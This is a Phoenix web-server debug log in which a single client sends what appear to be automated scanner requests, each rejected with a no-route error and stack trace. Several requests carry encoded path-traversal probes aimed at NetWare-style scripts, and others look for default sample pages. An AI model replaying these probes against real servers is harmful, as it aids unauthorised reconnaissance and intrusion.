    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:05:10.877000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53488] GET /nsn/..%5Cutil/dir.bas
[Thu Sep  3 08:05:10.904000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53488] ** (Phoenix.Router.NoRouteError) no route found for GET /nsn/..%5Cutil/dir.bas (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:05:11.515000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53490] GET /nsn/..%5Cutil/glist.bas
[Thu Sep  3 08:05:11.541000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53490] ** (Phoenix.Router.NoRouteError) no route found for GET /nsn/..%5Cutil/glist.bas (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:05:12.143000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53504] GET /nsn/..%5Cutil/lancard.bas
[Thu Sep  3 08:05:12.160000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53504] ** (Phoenix.Router.NoRouteError) no route found for GET /nsn/..%5Cutil/lancard.bas (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:05:12.842000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53520] GET /nsn/..%5Cutil/set.bas
[Thu Sep  3 08:05:12.870000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53520] ** (Phoenix.Router.NoRouteError) no route found for GET /nsn/..%5Cutil/set.bas (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:05:13.644000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33934] GET /nsn/..%5Cutil/userlist.bas
[Thu Sep  3 08:05:13.669000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:33934] ** (Phoenix.Router.NoRouteError) no route found for GET /nsn/..%5Cutil/userlist.bas (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:05:14.348000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33944] GET /nsn/..%5Cweb/env.bas
[Thu Sep  3 08:05:14.366000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:33944] ** (Phoenix.Router.NoRouteError) no route found for GET /nsn/..%5Cweb/env.bas (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:05:15.012000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33946] GET /nsn/..%5Cwebdemo/fdir.bas
[Thu Sep  3 08:05:15.031000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:33946] ** (Phoenix.Router.NoRouteError) no route found for GET /nsn/..%5Cwebdemo/fdir.bas (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:05:20.225000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33960] GET /
[Thu Sep  3 08:05:20.225000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:33960] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:05:20.226000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33960] Sent 200 in 869µs
[Thu Sep  3 08:05:23.364000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:60682] GET /examples/jsp/source.jsp
[Thu Sep  3 08:05:23.387000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:60682] ** (Phoenix.Router.NoRouteError) no route found for GET /examples/jsp/source.jsp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:05:27.169000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:60692] POST /perl/
[Thu Sep  3 08:05:27.183000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:60692] ** (Phoenix.Router.NoRouteError) no route found for POST /perl (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:05:30.728000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:60700] GET /images
[Thu Sep  3 08:05:30.742000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:60700] ** (Phoenix.Router.NoRouteError) no route found for GET /images (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:05:32.420000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:60712] GET /help/contents.htm
[Thu Sep  3 08:05:32.441000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:60712] ** (Phoenix.Router.NoRouteError) no route found for GET /help/contents.htm (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:05:33.064000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:40992] GET /manual/ag/contents.htm
[Thu Sep  3 08:05:33.083000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:40992] ** (Phoenix.Router.NoRouteError) no route found for GET /manual/ag/contents.htm (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:05:34.219000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41008] GET /baselining/version
[Thu Sep  3 08:05:34.243000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41008] ** (Phoenix.Router.NoRouteError) no route found for GET /baselining/version (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:05:39.104000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41014] GET /nps/servlet/portalservice
[Thu Sep  3 08:05:39.138000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41014] ** (Phoenix.Router.NoRouteError) no route found for GET /nps/servlet/portalservice (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:05:40.470000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41030] GET /index.html
[Thu Sep  3 08:05:40.493000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41030] ** (Phoenix.Router.NoRouteError) no route found for GET /index.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:05:42.691000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41042] GET /userSession.do
[Thu Sep  3 08:05:42.718000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41042] ** (Phoenix.Router.NoRouteError) no route found for GET /userSession.do (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

